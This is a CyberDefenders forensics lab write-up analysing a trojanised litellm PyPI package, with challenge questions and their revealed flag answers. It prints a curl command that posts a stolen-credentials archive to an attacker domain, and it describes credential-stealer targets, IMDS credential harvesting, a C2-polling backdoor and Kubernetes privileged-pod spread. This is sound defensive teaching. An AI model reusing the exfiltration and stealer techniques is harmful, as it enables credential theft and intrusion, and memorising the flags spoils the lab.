// CyberDefenders  ·  Endpoint Forensics

Fork Bomb - TeamPCP

CyberDefenders Easy CyberChef, Notepad++, Sysmon, Google Search
Initial Access, Persistence, Privilege Escalation, Discovery, Collection, Command and Control, Impact

Scenario

Callum McMahon, an AI developer newly onboarded at Maromalix Corp, was setting up his workstation on April 7, 2026. While configuring his development environment he noticed CPU usage spike dramatically — the system became completely unresponsive and shortly after crashed. A UAC triage image was collected post-reboot from the EC2 instance (172.31.22.208). Callum had configured Sysmon for Linux before the incident, giving us Sysmon event telemetry embedded directly in syslog alongside native Linux log data.


Methodology

Triage — Environment Orientation

The artifact is a UAC (Unix Artifacts Collector) triage package collected from an Ubuntu EC2 instance at 2026-04-07T17:27:38Z, approximately an hour after the incident. UAC structures its output under system/, live_response/, bodyfile/, and [root]/ directories. The primary investigation surface is system/var/log/syslog, which contains both native Linux log entries and Sysmon for Linux Event ID 1 (process creation) and Event ID 11 (file creation) telemetry interleaved by timestamp.

Workstation Setup — Package Installation

Searching syslog for apt update surfaces the first system update at 2026-04-07T16:13:10.545523+00:00, confirming Callum had just started configuring the machine. His bash history ([root]/home/cmcmahon/.bash_history) shows the full setup sequence: AWS CLI installation, VS Code, Ollama, and a git clone of rasbt/LLMs-from-scratch — all consistent with an AI developer onboarding workflow.

Navigating to the Downloads directory in bash history leads to the pip install. Sysmon Event ID 1 captures the expanded command line at 2026-04-07T16:24:08.81:

/usr/bin/python3 /usr/bin/pip install annotated_doc-0.0.4-py3-none-any.whl annotated_types-0.7.0-py3-none-any.whl anyio-4.13.0-py3-none-any.whl click-8.3.2-py3-none-any.whl fastapi-0.135.3-py3-none-any.whl h11-0.16.0-py3-none-any.whl idna-3.11-py3-none-any.whl litellm-1.82.8-py3-none-any.whl pydantic-2.12.5-py3-none-any.whl pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl python_dotenv-1.2.2-py3-none-any.whl starlette-1.0.0-py3-none-any.whl typing_extensions-4.15.0-py3-none-any.whl typing_inspection-0.4.2-py3-none-any.whl uvicorn-0.44.0-py3-none-any.whl --break-system-packages

Fifteen .whl files were installed. The actual command typed was the glob shorthand pip install *.whl --break-system-packages from the Downloads directory. Every package in the list is a legitimate, well-known dependency — except annotated_doc-0.0.4, which has no presence on PyPI. The malicious wheel, however, is litellm-1.82.8.

Persistence Mechanism — The .pth File

Sysmon Event ID 11 (file creation) at 2026-04-07T16:24:26.235277+00:00 captures /usr/bin/python3.12 writing a file to the user’s site-packages directory:

/home/cmcmahon/.local/lib/python3.12/site-packages/litellm_init.pth

The .pth extension is the key. Python’s site module processes every .pth file in site-packages at interpreter startup — before any user script executes. This makes it a silent, unconditional execution primitive. The filename litellm_init.pth is deliberate masquerading; it looks indistinguishable from a legitimate litellm initialisation file to casual inspection.

The .pth file contains a single line importing base64 and calling exec() on a large embedded blob — the outer payload. This single file is the entire attack foothold.

Trigger — Fork Bomb

Callum ran python3 from the command line (visible in bash history at line 17) to test his environment — a completely routine action for an AI developer. The .pth file fired immediately on interpreter startup, executing the outer payload. Due to a bug in the malware’s process-spawning logic, it forked uncontrollably rather than executing once.

Sysmon Event ID 1 shows the base64 payload spawning 1,580 times in rapid succession — each instance a full python3 -c import base64; exec(base64.b64decode(...)) invocation. This saturated CPU and memory, causing the complete system freeze Callum observed. He responded with sudo killall -9 python3, visible at the bottom of bash history, which terminated all Python processes and allowed a reboot.

Payload Analysis — Three-Stage Architecture

The full payload was recovered from litellm_init.pth in the UAC triage and decoded through CyberChef.

The outer script (litellm_init.pth) is a Python wrapper that orchestrates three components:

Stage 1 — Credential Stealer (B64_SCRIPT)

The inner payload is a second base64-encoded Python script. When decoded it performs an exhaustive credential harvest across the filesystem:

import os,sys,stat,subprocess,glob
# SSH keys, AWS credentials, .env files, git credentials,
# Kubernetes service account tokens, GCloud ADC, Azure tokens,
# Docker configs, database credentials, shell history,
# SSL/TLS private keys, CI/CD secrets (Jenkinsfile, .tfvars, .travis.yml)

It also queries the EC2 IMDS endpoint for IAM role credentials — a targeted move given this is an AWS EC2 instance — and enumerates AWS Secrets Manager and SSM Parameter Store if access keys are present. Wallet data is collected for 10 cryptocurrencies: Bitcoin, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero, Ethereum, Cardano, and Solana.

Stage 2 — Encrypted Exfiltration

The outer script collects stealer output, encrypts it with a hybrid scheme (AES-256-CBC session key, RSA-4096 public key wrapping), packages it as tpcp.tar.gz, and POSTs it via curl:

curl -X POST https://models.litellm.cloud/ \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @tpcp.tar.gz

The exfil domain models.litellm.cloud was registered one day before the attack, deliberately impersonating the legitimate LiteLLM project to blend into network traffic from an AI developer’s workstation.

Stage 3 — Persistence Backdoor (PERSIST_B64)

A third encoded payload is written to ~/.config/sysmon/sysmon.py and installed as a systemd user service named sysmon.service — masquerading as system telemetry. The backdoor polls hxxps[://]checkmarx[.]zone/raw every 50 minutes for a second-stage payload URL. If the C2 response starts with http, it downloads the file to /tmp/pglog, makes it executable, and runs it as a detached process. The kill switch condition is elegant: if the string youtube.com appears anywhere in the C2 response, execution is silently skipped — allowing the operator to deactivate all implants globally by posting a YouTube URL.

The persistence C2 domain checkmarx.zone impersonates Checkmarx, a legitimate SAST and IaC security vendor — chosen specifically to bypass DNS allowlists in security-conscious environments.

If Kubernetes is detected, the backdoor also attempts lateral movement by spawning a privileged alpine:latest pod on every cluster node to drop and register the persistence script on the host filesystem via chroot.

Threat Intelligence — TeamPCP Campaign Attribution

The archive name tpcp.tar.gz is the group’s own fingerprint. The campaign was attributed to TeamPCP, a cybercrime group that rose to prominence in late 2025 targeting CI/CD pipelines and open-source security tooling.

The root cause of the litellm compromise traces back to Trivy, Aqua Security’s open-source vulnerability scanner. On March 19, 2026, TeamPCP compromised Trivy’s GitHub Actions workflow by injecting a credential-stealing payload that scraped CI/CD secrets from runner memory. LiteLLM’s own CI/CD pipeline used Trivy for scanning — so the poisoned Trivy action harvested LiteLLM’s PyPI publishing token. TeamPCP used those tokens on March 24 to publish litellm==1.82.7 and litellm==1.82.8 directly to PyPI. Both versions were live for approximately 40 minutes before PyPI quarantined them.

Between March 19 and 23, TeamPCP also force-pushed malicious commits to all 35 version tags of Checkmarx’s IaC scanner GitHub Action at Checkmarx/kics-github-action — the same vendor whose brand the persistence backdoor impersonates.

The campaign’s downstream impact extended to institutional infrastructure. CERT-EU attributed a breach of the European Commission’s AWS environment directly to the Trivy supply chain compromise. Approximately 91.7 GB of compressed data was exfiltrated from the Commission’s AWS account, affecting up to 71 EU entities including internal Commission clients. ShinyHunters published the stolen data on their dark web leak site on March 28.

The litellm compromise was not the only PyPI victim. telnyx, the telephony SDK for a global communications platform, was also backdoored by TeamPCP as part of the same campaign.


Attack Summary

Phase Action
Initial Access TeamPCP compromises Trivy GitHub Actions, harvests LiteLLM’s PyPI publishing token via CI/CD pipeline
Supply Chain Malicious litellm 1.82.7 and 1.82.8 published to PyPI; litellm_init.pth drops fork bomb + stealer
Execution python3 invocation triggers .pth auto-execution; fork bomb spawns payload 1,580 times
Collection Inner stealer harvests SSH keys, AWS creds, IMDS role credentials, Kubernetes tokens, crypto wallets, env files
Exfiltration Credentials encrypted (AES-256 + RSA-4096), packaged as tpcp.tar.gz, POSTed to models.litellm.cloud
Persistence sysmon.py installed as sysmon.service user systemd unit; polls checkmarx.zone/raw for second-stage payloads
Impact System crash from fork bomb; Callum terminates with sudo killall -9 python3

IOCs

Type Value
Malicious Package litellm==1.82.8
Malicious Package litellm==1.82.7
File litellm_init.pth
File ~/.config/sysmon/sysmon.py
File ~/.config/systemd/user/sysmon.service
Archive tpcp.tar.gz
Domain (Exfil) models[.]litellm[.]cloud
Domain (C2/Backdoor) hxxps[://]checkmarx[.]zone/raw
Path (Backdoor payload) /tmp/pglog
Path (Backdoor state) /tmp/.pg_state
Threat Actor TeamPCP (aka UNC6780)

MITRE ATT&CK

Technique ID Description
Compromise Software Supply Chain T1195.001 litellm PyPI package trojanised via stolen publishing token
Event Triggered Execution: Unix Shell Configuration Modification T1546.004 .pth file in site-packages executes on every Python interpreter start
Command and Scripting Interpreter: Python T1059.006 All payload stages implemented in Python; fork bomb spawns 1,580 exec instances
Data from Local System T1005 SSH keys, AWS credentials, env files, shell history, crypto wallets, Kubernetes tokens harvested
Archive Collected Data T1560.001 Credentials encrypted with AES-256/RSA-4096 and packaged as tpcp.tar.gz
Exfiltration Over C2 Channel T1041 tpcp.tar.gz POSTed to models[.]litellm[.]cloud via HTTPS
Application Layer Protocol: Web Protocols T1071.001 Backdoor polls checkmarx[.]zone/raw over HTTPS for second-stage payload URLs
Scheduled Task/Job: Systemd Timers T1053.006 sysmon.service registered as user systemd unit with Restart=always for persistence
Indicator Removal: Clear Command History T1070.003 Bash history preserved in triage but stealer targets history files for exfiltration
Obfuscated Files or Information T1027 Three-layer base64 encoding; payload masquerades as litellm init and system telemetry

Defender Takeaways

Pin package versions and verify hashes. The entire compromise was possible because pip resolved an unpinned or loosely pinned litellm dependency during an install window of roughly 40 minutes. Pinning to a specific version hash in requirements.txt using pip install --require-hashes means a trojanised package on PyPI will fail checksum validation even if the version number matches. This is particularly critical in automated CI/CD pipelines where packages are installed unattended.

Monitor .pth file creation in site-packages. Python’s .pth auto-execution mechanism is poorly understood and rarely monitored. Sysmon for Linux Event ID 11 caught the litellm_init.pth write immediately — but only because Sysmon was already configured. File integrity monitoring on site-packages directories and alerting on unexpected .pth writes are effective detections. The rule is simple: legitimate packages rarely write .pth files, and when they do the filename matches the package.

Treat CI/CD secrets as high-value credentials. The entire campaign cascaded from a single stolen PyPI publishing token harvested from LiteLLM’s Trivy-based CI pipeline. Secrets exposed to third-party GitHub Actions are effectively public if that action is compromised. Pin Actions to a specific commit SHA rather than a mutable version tag, use short-lived OIDC tokens instead of static API keys where possible, and scope publishing tokens to the minimum required permissions with expiry.

Audit persistence as sysmon.service. The backdoor names its systemd unit and script after Sysmon itself — a tool defenders are likely to see and trust in a process listing. Baseline your systemd user units and alert on new services installed under ~/.config/systemd/user/. Legitimate system telemetry is installed at the system level, not user-level.

Watch for IMDS credential harvesting. The stealer explicitly queries http://169.254.169.254/latest/meta-data/iam/security-credentials/ using IMDSv2 tokens. EC2 instances that don’t require IMDSv2 (HttpTokens: required) are trivially abused by any code running on the instance. Enforce IMDSv2 across all instances and use IAM condition keys to restrict which principals can use instance credentials.


While setting up his development environment, mcmahon ran a system package update in hist bash terminal. What timestamp did this activity happen for the first time as shown in syslog in that day?
Click flag to reveal 2026-04-07 16:13
What exact command did mcmahon use to install the Python packages?
Click to reveal answer pip install *.whl --break-system-packages
Looking at the full installation command captured in the syslog, how many .whl package files were installed in total?
Click flag to reveal 15
During the package installation, a file with an unusual extension was written to the Python site-packages directory. This file has a special property — Python automatically processes it every time the interpreter starts, regardless of what script is being run. What is the name of this file?
Click to reveal answer litellm_init.pth
The file identified in the previous question belongs to a specific installed package. Which package deployed it? (Sysmon is installed and already logging in syslog)
Click flag to reveal litellm-1.82.8-py3-none-any.whl
Without knowing what lurked in his newly installed packages, mcmahon ran a routine command that unintentionally triggered the file identified earlier. What was that command?
Click to reveal answer python3
When the file identified earlier was triggered, it resulted in a fork bomb — spawning the embedded encoded payload an excessive number of times and making the machine unresponsive. How many times did the base64 payload execute as shown in syslog?
Click flag to reveal 1580
Start your analysis on the full payload. The malware bundled the collected credentials into an encrypted archive before attempting to send it. What was the archive named?
Click to reveal answer tpcp.tar.gz
What domain was the malware configured to send the collected data to?
Click flag to reveal models.litellm.cloud
Beyond cloud credentials and SSH keys, the inner payload also targeted cryptocurrency wallets. How many different cryptocurrencies did it attempt to steal wallet data from?
Click to reveal answer 10
The encoded persistence backdoor contains a deactivation condition — a specific string that, if present in the C2 server's response, causes it to silently skip execution of any downloaded payload. What is that string?
Click flag to reveal youtube.com
The package identified in the previous questions (Q5) was not the only compromised release. Google and read reports about this package compromise to find out about other affected version. What is the other affected package version number?
Click to reveal answer 1.82.7
As the machine became unresponsive due to the runaway processes, mcmahon took immediate action to stop them. What command did he run?
Click flag to reveal sudo killall -9 python3
This compromise was part of a large coordinated supply chain campaign carried out by a known threat group. Using open-source threat intelligence, what is the name of the group behind this campaign?
Click to reveal answer TeamPCP
Returning to the persistence backdoor payload you analyzed earlier — its C2 domain was deliberately crafted to impersonate a legitimate security vendor. That same vendor had one of its GitHub Actions compromised as part of this supply chain campaign, specifically the action responsible for scanning infrastructure-as-code. What is the full GitHub repository path of that compromised Action?
Click flag to reveal Checkmarx/kics-github-action
The AI gateway package mcmahon installed did not become malicious on its own. Researchers traced the origin of the campaign back to the compromise of a widely used open-source security scanning tool. What is the name of that tool?
Click to reveal answer Trivy
The compromise of the tool identified in the previous question had consequences beyond individual developers. The European Commission disclosed a cloud breach directly linked to this supply chain attack. Approximately how much data in GB was exfiltrated from the compromised AWS account?
Click flag to reveal 91.7
The PyPI compromise did not stop with the package mcmahon installed. Another legitimate Python SDK belonging to a global communications platform was also backdoored as part of the same campaign. Google and find what is the name of that package that the same actor compromised during the same campaign?
Click to reveal answer telnyx
🔒
// active lab
writeup locked
withheld in accordance with platform guidelines
to avoid spoiling live challenges.
password provided to recruiters on request.